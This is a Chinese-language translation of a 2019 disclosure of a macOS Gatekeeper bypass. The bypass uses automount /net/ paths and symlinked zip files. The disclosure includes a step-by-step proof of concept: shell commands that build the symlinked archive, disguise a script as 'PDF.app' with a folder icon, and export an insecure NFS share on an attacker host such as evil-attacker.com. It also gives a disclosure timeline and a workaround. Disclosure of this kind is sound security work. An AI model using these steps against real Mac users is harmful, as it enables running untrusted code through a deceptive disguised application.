MacOS X漏洞:GateKeeper验证可绕过
2019年5月24日
概述
在MacOS X版本<=10.14.5(写入时)可以很容易的绕过Gatekeeper以便在没有任何警告或用户明确授权的情况下执行不受信任的代码。
Gatekeeper是Apple开发的一种机制,自2012年起被纳入MacOS X中,它允许在运行之前验证下载的应用程序和代码签名。例如,如果用户从互联网上下载应用程序并执行它,Gatekeeper将阻止它在没有经过用户同意的情况下运行。
细节
根据设计,Gatekeeper将外部驱动器和网络共享视为安全位置,并允许它们包含的任何应用程序运行。
通过将这个设计与MacOS X的两个合法功能相结合,将导致完全欺骗预期的行为。
第一个合法的特性是automount(又名autofs),它允许用户通过访问一个以“/net/”开头的“特殊”路径自动挂载网络共享。
例如
ls /net/evil-attacker.com/sharedfolder/
将使用NFS读取远程主机(evil-attacker.com)上的“共享文件夹”的内容。
第二个合法的功能是zip存档可以包含指向任意位置(包括automount enpoints)的符号链接,并且MacOS上负责解压缩zip文件的软件在创建它们之前不会对符号链接进行任何检查。
为了更好地理解此漏洞利用的工作原理,让我们考虑以下场景:
攻击者制作一个zip文件,其中包含指向她/他控制的automount enpoints(自动挂载端点)的符号链接(ex Documents -> /net/evil.com/Documents)并将其发送给受害者。受害者下载恶意文档,提取出来并效仿符号链接。
现在,受害者位于受攻击者控制但受Gatekeeper信任的位置,因此任何攻击者控制的可执行文件都可以在没有任何警告的情况下运行。 设计Finder的方式(隐藏.app扩展,隐藏标题栏的完整路径)使得这个技术非常有效且难以发现。
以下视频说明了这一概念:
PoC
要复现此问题,请按照以下步骤操作:
1 创建一个个zip文件,其中包含指向aotumount endpoint(自动加载端点)的符号链接
mkdir Documents
ln -s /net/linux-vm.local/nfs/Documents Documents/Documents
zip -ry Documents.zip Documents
2 创建一个应用程序,其中包含你想要运行的代码
cp -r /Applications/Calculator.app PDF.app
echo -e '#!/bin/bash'"\n"'open /Applications/iTunes.app' > PDF.app/Contents/MacOS/ Calculator
chmod +x PDF.app/Contents/MacOS/Calculator
rm PDF.app/Contents/Resources/AppIcon.icns
ln -s /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/ GenericFolderIcon.icns PDF.app/Contents/Resources/AppIcon.icns
3 创建一个可公开访问的NFS共享并将.app放入其中
ssh linux-vm.local
mkdir -p /nfs/Documents
echo '/nfs/Documents *(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)' >> /etc/exports
service nfs-kernel-server restart
scp -r mymac.local:PDF.app /nfs/Documents/
4 在互联网上的某处上传zip并下载它,以便获得Gatekeeper使用的隔离标志
5 提取zip(如果有需要)并允许它
时间线
已于2019年2月22日与该供应商联系,并了解此问题。 根据供应商的说法,这个问题本应该在2019年5月15日得到解决,但Apple公司开始删除我的电子邮件。
由于Apple公司知道我90天的披露期限,因此我将此信息公之于众。
解决
可能的解决方法是禁用自动挂载:
以root身份编辑编辑 /etc/auto_master
屏蔽以’/net’开头的行规
重启
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass
最新评论